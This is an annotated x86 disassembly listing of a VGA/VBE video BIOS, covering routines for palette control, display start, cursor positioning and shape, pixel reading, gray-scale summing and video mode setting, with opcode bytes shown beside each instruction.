jne short 007f2h ; 75 09
mov bx, strict word 00049h ; bb 49 00
mov al, byte [bx] ; 8a 07
db 08ah, 0d8h
; mov bl, al ; 8a d8
db 032h, 0ffh
; xor bh, bh ; 32 ff
mov ax, strict word 0004fh ; b8 4f 00
pop DS ; 1f
retn ; c3
vbe_biosfn_display_window_control: ; 0xc07f7 LB 0x2d
cmp bl, 000h ; 80 fb 00
jne short 00820h ; 75 24
cmp bh, 001h ; 80 ff 01
je short 00817h ; 74 16
jc short 00807h ; 72 04
mov ax, 00100h ; b8 00 01
retn ; c3
db 08bh, 0c2h
; mov ax, dx ; 8b c2
call 00603h ; e8 f7 fd
call 00617h ; e8 08 fe
db 03bh, 0c2h
; cmp ax, dx ; 3b c2
jne short 00820h ; 75 0d
mov ax, strict word 0004fh ; b8 4f 00
retn ; c3
call 00617h ; e8 fd fd
db 08bh, 0d0h
; mov dx, ax ; 8b d0
mov ax, strict word 0004fh ; b8 4f 00
retn ; c3
mov ax, 0014fh ; b8 4f 01
retn ; c3
vbe_biosfn_set_get_display_start: ; 0xc0824 LB 0x34
cmp bl, 080h ; 80 fb 80
je short 00834h ; 74 0b
cmp bl, 001h ; 80 fb 01
je short 00848h ; 74 1a
jc short 0083ah ; 72 0a
mov ax, 00100h ; b8 00 01
retn ; c3
call 00589h ; e8 52 fd
call 0057ch ; e8 42 fd
db 08bh, 0c1h
; mov ax, cx ; 8b c1
call 00669h ; e8 2a fe
db 08bh, 0c2h
; mov ax, dx ; 8b c2
call 0068fh ; e8 4b fe
mov ax, strict word 0004fh ; b8 4f 00
retn ; c3
call 0067dh ; e8 32 fe
db 08bh, 0c8h
; mov cx, ax ; 8b c8
call 006a3h ; e8 53 fe
db 08bh, 0d0h
; mov dx, ax ; 8b d0
db 032h, 0ffh
; xor bh, bh ; 32 ff
mov ax, strict word 0004fh ; b8 4f 00
retn ; c3
vbe_biosfn_set_get_dac_palette_format: ; 0xc0858 LB 0x37
cmp bl, 001h ; 80 fb 01
je short 0087bh ; 74 1e
jc short 00863h ; 72 04
mov ax, 00100h ; b8 00 01
retn ; c3
call 005f1h ; e8 8b fd
cmp bh, 006h ; 80 ff 06
je short 00875h ; 74 0a
cmp bh, 008h ; 80 ff 08
jne short 0088bh ; 75 1b
or ax, strict byte 00020h ; 83 c8 20
jne short 00878h ; 75 03
and ax, strict byte 0ffdfh ; 83 e0 df
call 005ddh ; e8 62 fd
mov BH, strict byte 006h ; b7 06
call 005f1h ; e8 71 fd
and ax, strict byte 00020h ; 83 e0 20
je short 00887h ; 74 02
mov BH, strict byte 008h ; b7 08
mov ax, strict word 0004fh ; b8 4f 00
retn ; c3
mov ax, 0014fh ; b8 4f 01
retn ; c3
vbe_biosfn_set_get_palette_data: ; 0xc088f LB 0x64
test bl, bl ; 84 db
je short 008a2h ; 74 0f
cmp bl, 001h ; 80 fb 01
je short 008cah ; 74 32
cmp bl, 003h ; 80 fb 03
jbe short 008efh ; 76 52
cmp bl, 080h ; 80 fb 80
jne short 008ebh ; 75 49
pushad ; 66 60
push DS ; 1e
push ES ; 06
pop DS ; 1f
db 08ah, 0c2h
; mov al, dl ; 8a c2
mov dx, 003c8h ; ba c8 03
out DX, AL ; ee
inc dx ; 42
db 08bh, 0f7h
; mov si, di ; 8b f7
lodsd ; 66 ad
ror eax, 010h ; 66 c1 c8 10
out DX, AL ; ee
rol eax, 008h ; 66 c1 c0 08
out DX, AL ; ee
rol eax, 008h ; 66 c1 c0 08
out DX, AL ; ee
loop 008b0h ; e2 ed
pop DS ; 1f
popad ; 66 61
mov ax, strict word 0004fh ; b8 4f 00
retn ; c3
pushad ; 66 60
db 08ah, 0c2h
; mov al, dl ; 8a c2
mov dx, 003c7h ; ba c7 03
out DX, AL ; ee
add dl, 002h ; 80 c2 02
db 066h, 033h, 0c0h
; xor eax, eax ; 66 33 c0
in AL, DX ; ec
sal eax, 008h ; 66 c1 e0 08
in AL, DX ; ec
sal eax, 008h ; 66 c1 e0 08
in AL, DX ; ec
stosd ; 66 ab
loop 008d5h ; e2 ee
popad ; 66 61
jmp short 008c6h ; eb db
mov ax, 0014fh ; b8 4f 01
retn ; c3
mov ax, 0024fh ; b8 4f 02
retn ; c3
vbe_biosfn_return_protected_mode_interface: ; 0xc08f3 LB 0x17
test bl, bl ; 84 db
jne short 00906h ; 75 0f
mov di, 0c000h ; bf 00 c0
mov es, di ; 8e c7
mov di, 04400h ; bf 00 44
mov cx, 00115h ; b9 15 01
mov ax, strict word 0004fh ; b8 4f 00
retn ; c3
mov ax, 0014fh ; b8 4f 01
retn ; c3
; Padding 0xf6 bytes at 0xc090a
times 246 db 0
section _TEXT progbits vstart=0xa00 align=1 ; size=0x30d9 class=CODE group=AUTO
set_int_vector_: ; 0xc0a00 LB 0x1a
push bx ; 53
push bp ; 55
mov bp, sp ; 89 e5
movzx bx, al ; 0f b6 d8
sal bx, 002h ; c1 e3 02
xor ax, ax ; 31 c0
mov es, ax ; 8e c0
mov word [es:bx], dx ; 26 89 17
mov word [es:bx+002h], 0c000h ; 26 c7 47 02 00 c0
pop bp ; 5d
pop bx ; 5b
retn ; c3
init_vga_card_: ; 0xc0a1a LB 0x1c
push bp ; 55
mov bp, sp ; 89 e5
push dx ; 52
mov AL, strict byte 0c3h ; b0 c3
mov dx, 003c2h ; ba c2 03
out DX, AL ; ee
mov AL, strict byte 004h ; b0 04
mov dx, 003c4h ; ba c4 03
out DX, AL ; ee
mov AL, strict byte 002h ; b0 02
mov dx, 003c5h ; ba c5 03
out DX, AL ; ee
lea sp, [bp-002h] ; 8d 66 fe
pop dx ; 5a
pop bp ; 5d
retn ; c3
init_bios_area_: ; 0xc0a36 LB 0x32
push bx ; 53
push bp ; 55
mov bp, sp ; 89 e5
xor bx, bx ; 31 db
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov al, byte [es:bx+010h] ; 26 8a 47 10
and AL, strict byte 0cfh ; 24 cf
or AL, strict byte 020h ; 0c 20
mov byte [es:bx+010h], al ; 26 88 47 10
mov byte [es:bx+00085h], 010h ; 26 c6 87 85 00 10
mov word [es:bx+00087h], 0f960h ; 26 c7 87 87 00 60 f9
mov byte [es:bx+00089h], 051h ; 26 c6 87 89 00 51
mov byte [es:bx+065h], 009h ; 26 c6 47 65 09
pop bp ; 5d
pop bx ; 5b
retn ; c3
_vgabios_init_func: ; 0xc0a68 LB 0x20
push bp ; 55
mov bp, sp ; 89 e5
call 00a1ah ; e8 ac ff
call 00a36h ; e8 c5 ff
call 03535h ; e8 c1 2a
mov dx, strict word 00022h ; ba 22 00
mov ax, strict word 00010h ; b8 10 00
call 00a00h ; e8 83 ff
mov ax, strict word 00003h ; b8 03 00
db 032h, 0e4h
; xor ah, ah ; 32 e4
int 010h ; cd 10
mov sp, bp ; 89 ec
pop bp ; 5d
retf ; cb
vga_get_cursor_pos_: ; 0xc0a88 LB 0x43
push bp ; 55
mov bp, sp ; 89 e5
push cx ; 51
push si ; 56
mov cl, al ; 88 c1
mov si, dx ; 89 d6
cmp AL, strict byte 007h ; 3c 07
jbe short 00aa3h ; 76 0e
push SS ; 16
pop ES ; 07
mov word [es:si], strict word 00000h ; 26 c7 04 00 00
mov word [es:bx], strict word 00000h ; 26 c7 07 00 00
jmp short 00ac4h ; eb 21
mov dx, strict word 00060h ; ba 60 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 c7 24
push SS ; 16
pop ES ; 07
mov word [es:si], ax ; 26 89 04
movzx dx, cl ; 0f b6 d1
add dx, dx ; 01 d2
add dx, strict byte 00050h ; 83 c2 50
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 b4 24
push SS ; 16
pop ES ; 07
mov word [es:bx], ax ; 26 89 07
lea sp, [bp-004h] ; 8d 66 fc
pop si ; 5e
pop cx ; 59
pop bp ; 5d
retn ; c3
vga_read_char_attr_: ; 0xc0acb LB 0xa8
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
push di ; 57
sub sp, strict byte 00008h ; 83 ec 08
mov cl, al ; 88 c1
mov si, dx ; 89 d6
mov dx, strict word 00049h ; ba 49 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 75 24
xor ah, ah ; 30 e4
call 02f30h ; e8 49 24
mov ch, al ; 88 c5
cmp AL, strict byte 0ffh ; 3c ff
je short 00b5ah ; 74 6d
movzx ax, cl ; 0f b6 c1
lea bx, [bp-010h] ; 8d 5e f0
lea dx, [bp-00eh] ; 8d 56 f2
call 00a88h ; e8 8f ff
mov al, byte [bp-010h] ; 8a 46 f0
mov byte [bp-00ah], al ; 88 46 f6
mov ax, word [bp-010h] ; 8b 46 f0
xor al, al ; 30 c0
shr ax, 008h ; c1 e8 08
mov word [bp-00ch], ax ; 89 46 f4
mov dx, 00084h ; ba 84 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 44 24
movzx di, al ; 0f b6 f8
inc di ; 47
mov dx, strict word 0004ah ; ba 4a 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 53 24
movzx bx, ch ; 0f b6 dd
sal bx, 003h ; c1 e3 03
cmp byte [bx+04630h], 000h ; 80 bf 30 46 00
jne short 00b5ah ; 75 2d
mov dx, ax ; 89 c2
imul dx, di ; 0f af d7
add dx, dx ; 01 d2
or dl, 0ffh ; 80 ca ff
xor ch, ch ; 30 ed
inc dx ; 42
imul cx, dx ; 0f af ca
movzx dx, byte [bp-00ch] ; 0f b6 56 f4
imul dx, ax ; 0f af d0
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
add ax, dx ; 01 d0
add ax, ax ; 01 c0
mov dx, cx ; 89 ca
add dx, ax ; 01 c2
mov ax, word [bx+04633h] ; 8b 87 33 46
call 02f73h ; e8 1c 24
mov word [ss:si], ax ; 36 89 04
lea sp, [bp-008h] ; 8d 66 f8
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
mov cs, [bp+di] ; 8e 0b
int 00bh ; cd 0b
ror byte [bp+di], CL ; d2 0b
fimul dword [bp+di] ; da 0b
db 0dfh
db 00bh, 0e4h
; or sp, sp ; 0b e4
db 00bh, 0e9h
; or bp, cx ; 0b e9
db 00bh, 0eeh
; or bp, si ; 0b ee
db 00bh
vga_get_font_info_: ; 0xc0b73 LB 0x82
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
push ax ; 50
mov si, dx ; 89 d6
mov word [bp-006h], bx ; 89 5e fa
mov bx, cx ; 89 cb
cmp ax, strict word 00007h ; 3d 07 00
jnbe short 00bc4h ; 77 3f
mov di, ax ; 89 c7
add di, ax ; 01 c7
jmp word [cs:di+00b63h] ; 2e ff a5 63 0b
mov dx, strict word 0007ch ; ba 7c 00
xor ax, ax ; 31 c0
call 02f8fh ; e8 f9 23
push SS ; 16
pop ES ; 07
mov di, word [bp-006h] ; 8b 7e fa
mov word [es:di], ax ; 26 89 05
mov word [es:si], dx ; 26 89 14
mov dx, 00085h ; ba 85 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 ad 23
xor ah, ah ; 30 e4
push SS ; 16
pop ES ; 07
mov word [es:bx], ax ; 26 89 07
mov dx, 00084h ; ba 84 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 9d 23
xor ah, ah ; 30 e4
push SS ; 16
pop ES ; 07
mov bx, word [bp+004h] ; 8b 5e 04
mov word [es:bx], ax ; 26 89 07
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00002h ; c2 02 00
mov dx, 0010ch ; ba 0c 01
jmp short 00b91h ; eb bf
mov ax, 05bedh ; b8 ed 5b
mov dx, 0c000h ; ba 00 c0
jmp short 00b96h ; eb bc
mov ax, 053edh ; b8 ed 53
jmp short 00bd5h ; eb f6
mov ax, 057edh ; b8 ed 57
jmp short 00bd5h ; eb f1
mov ax, 079edh ; b8 ed 79
jmp short 00bd5h ; eb ec
mov ax, 069edh ; b8 ed 69
jmp short 00bd5h ; eb e7
mov ax, 07b1ah ; b8 1a 7b
jmp short 00bd5h ; eb e2
jmp short 00bc4h ; eb cf
vga_read_pixel_: ; 0xc0bf5 LB 0x139
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00006h ; 83 ec 06
mov si, dx ; 89 d6
mov word [bp-00ah], bx ; 89 5e f6
mov di, cx ; 89 cf
mov dx, strict word 00049h ; ba 49 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 4a 23
xor ah, ah ; 30 e4
call 02f30h ; e8 1e 23
mov cl, al ; 88 c1
cmp AL, strict byte 0ffh ; 3c ff
je near 00d27h ; 0f 84 0d 01
movzx bx, al ; 0f b6 d8
sal bx, 003h ; c1 e3 03
cmp byte [bx+04630h], 000h ; 80 bf 30 46 00
je near 00d27h ; 0f 84 fe 00
mov bl, byte [bx+04631h] ; 8a 9f 31 46
cmp bl, 003h ; 80 fb 03
jc short 00c43h ; 72 11
jbe short 00c4bh ; 76 17
cmp bl, 005h ; 80 fb 05
je near 00d04h ; 0f 84 c9 00
cmp bl, 004h ; 80 fb 04
je short 00c4bh ; 74 0b
jmp near 00d22h ; e9 df 00
cmp bl, 002h ; 80 fb 02
je short 00ca3h ; 74 5b
jmp near 00d22h ; e9 d7 00
mov dx, strict word 0004ah ; ba 4a 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 1f 23
imul ax, word [bp-00ah] ; 0f af 46 f6
mov bx, si ; 89 f3
shr bx, 003h ; c1 eb 03
add bx, ax ; 01 c3
mov cx, si ; 89 f1
and cx, strict byte 00007h ; 83 e1 07
mov ax, 00080h ; b8 80 00
sar ax, CL ; d3 f8
mov byte [bp-008h], al ; 88 46 f8
mov byte [bp-006h], ch ; 88 6e fa
jmp short 00c79h ; eb 08
cmp byte [bp-006h], 004h ; 80 7e fa 04
jnc near 00d24h ; 0f 83 ab 00
movzx ax, byte [bp-006h] ; 0f b6 46 fa
sal ax, 008h ; c1 e0 08
or AL, strict byte 004h ; 0c 04
mov dx, 003ceh ; ba ce 03
out DX, ax ; ef
mov dx, bx ; 89 da
mov ax, 0a000h ; b8 00 a0
call 02f57h ; e8 c9 22
and al, byte [bp-008h] ; 22 46 f8
test al, al ; 84 c0
jbe short 00c9eh ; 76 09
mov cl, byte [bp-006h] ; 8a 4e fa
mov AL, strict byte 001h ; b0 01
sal al, CL ; d2 e0
or ch, al ; 08 c5
inc byte [bp-006h] ; fe 46 fa
jmp short 00c71h ; eb ce
mov ax, word [bp-00ah] ; 8b 46 f6
shr ax, 1 ; d1 e8
imul ax, ax, strict byte 00050h ; 6b c0 50
mov bx, si ; 89 f3
shr bx, 002h ; c1 eb 02
add bx, ax ; 01 c3
test byte [bp-00ah], 001h ; f6 46 f6 01
je short 00cbbh ; 74 03
add bh, 020h ; 80 c7 20
mov dx, bx ; 89 da
mov ax, 0b800h ; b8 00 b8
call 02f57h ; e8 94 22
movzx bx, cl ; 0f b6 d9
sal bx, 003h ; c1 e3 03
cmp byte [bx+04632h], 002h ; 80 bf 32 46 02
jne short 00cebh ; 75 1b
mov cx, si ; 89 f1
xor ch, ch ; 30 ed
and cl, 003h ; 80 e1 03
mov bx, strict word 00003h ; bb 03 00
sub bx, cx ; 29 cb
mov cx, bx ; 89 d9
add cx, bx ; 01 d9
xor ah, ah ; 30 e4
sar ax, CL ; d3 f8
mov ch, al ; 88 c5
and ch, 003h ; 80 e5 03
jmp short 00d24h ; eb 39
mov cx, si ; 89 f1
xor ch, ch ; 30 ed
and cl, 007h ; 80 e1 07
mov bx, strict word 00007h ; bb 07 00
sub bx, cx ; 29 cb
mov cx, bx ; 89 d9
xor ah, ah ; 30 e4
sar ax, CL ; d3 f8
mov ch, al ; 88 c5
and ch, 001h ; 80 e5 01
jmp short 00d24h ; eb 20
mov dx, strict word 0004ah ; ba 4a 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 66 22
sal ax, 003h ; c1 e0 03
imul ax, word [bp-00ah] ; 0f af 46 f6
mov dx, si ; 89 f2
add dx, ax ; 01 c2
mov ax, 0a000h ; b8 00 a0
call 02f57h ; e8 39 22
mov ch, al ; 88 c5
jmp short 00d24h ; eb 02
xor ch, ch ; 30 ed
mov byte [ss:di], ch ; 36 88 2d
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
biosfn_perform_gray_scale_summing_: ; 0xc0d2e LB 0x8c
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
mov bx, ax ; 89 c3
mov di, dx ; 89 d7
mov dx, 003dah ; ba da 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
xor al, al ; 30 c0
mov dx, 003c0h ; ba c0 03
out DX, AL ; ee
xor si, si ; 31 f6
cmp si, di ; 39 fe
jnc short 00d9fh ; 73 52
mov al, bl ; 88 d8
mov dx, 003c7h ; ba c7 03
out DX, AL ; ee
mov dx, 003c9h ; ba c9 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov cx, ax ; 89 c1
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov word [bp-00ch], ax ; 89 46 f4
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
xor ch, ch ; 30 ed
imul cx, cx, strict byte 0004dh ; 6b c9 4d
mov word [bp-00ah], cx ; 89 4e f6
movzx cx, byte [bp-00ch] ; 0f b6 4e f4
imul cx, cx, 00097h ; 69 c9 97 00
add cx, word [bp-00ah] ; 03 4e f6
xor ah, ah ; 30 e4
imul ax, ax, strict byte 0001ch ; 6b c0 1c
add cx, ax ; 01 c1
add cx, 00080h ; 81 c1 80 00
sar cx, 008h ; c1 f9 08
cmp cx, strict byte 0003fh ; 83 f9 3f
jbe short 00d8dh ; 76 03
mov cx, strict word 0003fh ; b9 3f 00
mov al, bl ; 88 d8
mov dx, 003c8h ; ba c8 03
out DX, AL ; ee
mov al, cl ; 88 c8
mov dx, 003c9h ; ba c9 03
out DX, AL ; ee
out DX, AL ; ee
out DX, AL ; ee
inc bx ; 43
inc si ; 46
jmp short 00d49h ; eb aa
mov dx, 003dah ; ba da 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov AL, strict byte 020h ; b0 20
mov dx, 003c0h ; ba c0 03
out DX, AL ; ee
mov dx, 003dah ; ba da 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
lea sp, [bp-008h] ; 8d 66 f8
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
biosfn_set_cursor_shape_: ; 0xc0dba LB 0xa4
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
push di ; 57
mov ch, al ; 88 c5
mov cl, dl ; 88 d1
and ch, 03fh ; 80 e5 3f
and cl, 01fh ; 80 e1 1f
movzx di, ch ; 0f b6 fd
mov bx, di ; 89 fb
sal bx, 008h ; c1 e3 08
movzx si, cl ; 0f b6 f1
add bx, si ; 01 f3
mov dx, strict word 00060h ; ba 60 00
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 a0 21
mov dx, 00089h ; ba 89 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 6d 21
mov bl, al ; 88 c3
mov dx, 00085h ; ba 85 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 7e 21
mov dx, ax ; 89 c2
test bl, 001h ; f6 c3 01
je short 00e33h ; 74 37
cmp ax, strict word 00008h ; 3d 08 00
jbe short 00e33h ; 76 32
cmp cl, 008h ; 80 f9 08
jnc short 00e33h ; 73 2d
cmp ch, 020h ; 80 fd 20
jnc short 00e33h ; 73 28
inc di ; 47
cmp si, di ; 39 fe
je short 00e19h ; 74 09
imul ax, di ; 0f af c7
shr ax, 003h ; c1 e8 03
dec ax ; 48
jmp short 00e24h ; eb 0b
lea si, [di+001h] ; 8d 75 01
imul ax, si ; 0f af c6
shr ax, 003h ; c1 e8 03
dec ax ; 48
dec ax ; 48
mov ch, al ; 88 c5
movzx ax, cl ; 0f b6 c1
inc ax ; 40
imul ax, dx ; 0f af c2
shr ax, 003h ; c1 e8 03
dec ax ; 48
mov cl, al ; 88 c1
mov dx, strict word 00063h ; ba 63 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 37 21
mov bx, ax ; 89 c3
mov AL, strict byte 00ah ; b0 0a
mov dx, bx ; 89 da
out DX, AL ; ee
lea si, [bx+001h] ; 8d 77 01
mov al, ch ; 88 e8
mov dx, si ; 89 f2
out DX, AL ; ee
mov AL, strict byte 00bh ; b0 0b
mov dx, bx ; 89 da
out DX, AL ; ee
mov al, cl ; 88 c8
mov dx, si ; 89 f2
out DX, AL ; ee
lea sp, [bp-008h] ; 8d 66 f8
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
biosfn_set_cursor_pos_: ; 0xc0e5e LB 0xa2
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
push ax ; 50
push ax ; 50
mov byte [bp-008h], al ; 88 46 f8
mov cx, dx ; 89 d1
cmp AL, strict byte 007h ; 3c 07
jnbe near 00ef8h ; 0f 87 87 00
movzx dx, al ; 0f b6 d0
add dx, dx ; 01 d2
add dx, strict byte 00050h ; 83 c2 50
mov bx, cx ; 89 cb
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 00 21
mov dx, strict word 00062h ; ba 62 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 cd 20
cmp al, byte [bp-008h] ; 3a 46 f8
jne short 00ef8h ; 75 69
mov dx, strict word 0004ah ; ba 4a 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 db 20
mov bx, ax ; 89 c3
mov dx, 00084h ; ba 84 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 b4 20
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
inc dx ; 42
mov al, cl ; 88 c8
xor cl, cl ; 30 c9
shr cx, 008h ; c1 e9 08
mov byte [bp-00ah], cl ; 88 4e f6
imul dx, bx ; 0f af d3
or dl, 0ffh ; 80 ca ff
movzx cx, byte [bp-008h] ; 0f b6 4e f8
inc dx ; 42
imul dx, cx ; 0f af d1
mov si, ax ; 89 c6
add si, dx ; 01 d6
movzx dx, byte [bp-00ah] ; 0f b6 56 f6
imul bx, dx ; 0f af da
add si, bx ; 01 de
mov dx, strict word 00063h ; ba 63 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 9d 20
mov bx, ax ; 89 c3
mov AL, strict byte 00eh ; b0 0e
mov dx, bx ; 89 da
out DX, AL ; ee
mov ax, si ; 89 f0
xor al, al ; 30 c0
shr ax, 008h ; c1 e8 08
lea cx, [bx+001h] ; 8d 4f 01
mov dx, cx ; 89 ca
out DX, AL ; ee
mov AL, strict byte 00fh ; b0 0f
mov dx, bx ; 89 da
out DX, AL ; ee
and si, 000ffh ; 81 e6 ff 00
mov ax, si ; 89 f0
mov dx, cx ; 89 ca
out DX, AL ; ee
lea sp, [bp-006h] ; 8d 66 fa
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
biosfn_set_active_page_: ; 0xc0f00 LB 0xdc
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
mov cl, al ; 88 c1
cmp AL, strict byte 007h ; 3c 07
jnbe near 00fd2h ; 0f 87 c0 00
mov dx, strict word 00049h ; ba 49 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 3c 20
xor ah, ah ; 30 e4
call 02f30h ; e8 10 20
mov ch, al ; 88 c5
cmp AL, strict byte 0ffh ; 3c ff
je near 00fd2h ; 0f 84 aa 00
movzx ax, cl ; 0f b6 c1
lea bx, [bp-00eh] ; 8d 5e f2
lea dx, [bp-00ch] ; 8d 56 f4
call 00a88h ; e8 54 fb
movzx bx, ch ; 0f b6 dd
mov si, bx ; 89 de
sal si, 003h ; c1 e6 03
cmp byte [si+04630h], 000h ; 80 bc 30 46 00
jne short 00f83h ; 75 40
mov dx, strict word 0004ah ; ba 4a 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 27 20
mov bx, ax ; 89 c3
mov dx, 00084h ; ba 84 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 00 20
xor ah, ah ; 30 e4
inc ax ; 40
mov si, bx ; 89 de
imul si, ax ; 0f af f0
mov ax, si ; 89 f0
add ax, si ; 01 f0
or AL, strict byte 0ffh ; 0c ff
movzx di, cl ; 0f b6 f9
mov bx, ax ; 89 c3
inc bx ; 43
imul bx, di ; 0f af df
mov dx, strict word 0004eh ; ba 4e 00
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 0a 20
or si, 000ffh ; 81 ce ff 00
lea bx, [si+001h] ; 8d 5c 01
imul bx, di ; 0f af df
jmp short 00f95h ; eb 12
movzx bx, byte [bx+046afh] ; 0f b6 9f af 46
sal bx, 006h ; c1 e3 06
movzx ax, cl ; 0f b6 c1
mov bx, word [bx+046c6h] ; 8b 9f c6 46
imul bx, ax ; 0f af d8
mov dx, strict word 00063h ; ba 63 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 d5 1f
mov si, ax ; 89 c6
mov AL, strict byte 00ch ; b0 0c
mov dx, si ; 89 f2
out DX, AL ; ee
mov ax, bx ; 89 d8
xor al, bl ; 30 d8
shr ax, 008h ; c1 e8 08
lea di, [si+001h] ; 8d 7c 01
mov dx, di ; 89 fa
out DX, AL ; ee
mov AL, strict byte 00dh ; b0 0d
mov dx, si ; 89 f2
out DX, AL ; ee
mov al, bl ; 88 d8
mov dx, di ; 89 fa
out DX, AL ; ee
movzx si, cl ; 0f b6 f1
mov bx, si ; 89 f3
mov dx, strict word 00062h ; ba 62 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 9b 1f
mov dx, word [bp-00eh] ; 8b 56 f2
mov ax, si ; 89 f0
call 00e5eh ; e8 8c fe
lea sp, [bp-00ah] ; 8d 66 f6
pop di ; 5f
pop si ; 5e
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
biosfn_set_video_mode_: ; 0xc0fdc LB 0x3aa
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
push si ; 56
push di ; 57
sub sp, strict byte 00012h ; 83 ec 12
mov byte [bp-010h], al ; 88 46 f0
and AL, strict byte 080h ; 24 80
mov byte [bp-00eh], al ; 88 46 f2
call 007bfh ; e8 cd f7
test ax, ax ; 85 c0
je short 01002h ; 74 0c
mov AL, strict byte 007h ; b0 07
mov dx, 003c4h ; ba c4 03
out DX, AL ; ee
xor al, al ; 30 c0
mov dx, 003c5h ; ba c5 03
out DX, AL ; ee
and byte [bp-010h], 07fh ; 80 66 f0 7f
cmp byte [bp-010h], 007h ; 80 7e f0 07
jne short 01010h ; 75 04
mov byte [bp-010h], 000h ; c6 46 f0 00
movzx ax, byte [bp-010h] ; 0f b6 46 f0
call 02f30h ; e8 19 1f
mov byte [bp-012h], al ; 88 46 ee
cmp AL, strict byte 0ffh ; 3c ff
je near 0137ch ; 0f 84 5c 03
movzx si, al ; 0f b6 f0
mov al, byte [si+046afh] ; 8a 84 af 46
mov byte [bp-00ch], al ; 88 46 f4
movzx bx, al ; 0f b6 d8
sal bx, 006h ; c1 e3 06
movzx ax, byte [bx+046c3h] ; 0f b6 87 c3 46
mov word [bp-016h], ax ; 89 46 ea
movzx ax, byte [bx+046c4h] ; 0f b6 87 c4 46
mov word [bp-018h], ax ; 89 46 e8
movzx ax, byte [bx+046c5h] ; 0f b6 87 c5 46
mov word [bp-014h], ax ; 89 46 ec
mov dx, 00087h ; ba 87 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 06 1f
mov dx, 00088h ; ba 88 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 fd 1e
mov dx, 00089h ; ba 89 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 f4 1e
mov cl, al ; 88 c1
test AL, strict byte 008h ; a8 08
jne near 010f5h ; 0f 85 8a 00
mov bx, si ; 89 f3
sal bx, 003h ; c1 e3 03
mov al, byte [bx+04635h] ; 8a 87 35 46
mov dx, 003c6h ; ba c6 03
out DX, AL ; ee
xor al, al ; 30 c0
mov dx, 003c8h ; ba c8 03
out DX, AL ; ee
mov bl, byte [bx+04636h] ; 8a 9f 36 46
cmp bl, 001h ; 80 fb 01
jc short 01095h ; 72 0e
jbe short 0109eh ; 76 15
cmp bl, 003h ; 80 fb 03
je short 010a8h ; 74 1a
cmp bl, 002h ; 80 fb 02
je short 010a3h ; 74 10
jmp short 010abh ; eb 16
test bl, bl ; 84 db
jne short 010abh ; 75 12
mov di, 04e43h ; bf 43 4e
jmp short 010abh ; eb 0d
mov di, 04f03h ; bf 03 4f
jmp short 010abh ; eb 08
mov di, 04fc3h ; bf c3 4f
jmp short 010abh ; eb 03
mov di, 05083h ; bf 83 50
xor bx, bx ; 31 db
jmp short 010beh ; eb 0f
xor al, al ; 30 c0
mov dx, 003c9h ; ba c9 03
out DX, AL ; ee
out DX, AL ; ee
out DX, AL ; ee
inc bx ; 43
cmp bx, 00100h ; 81 fb 00 01
jnc short 010e8h ; 73 2a
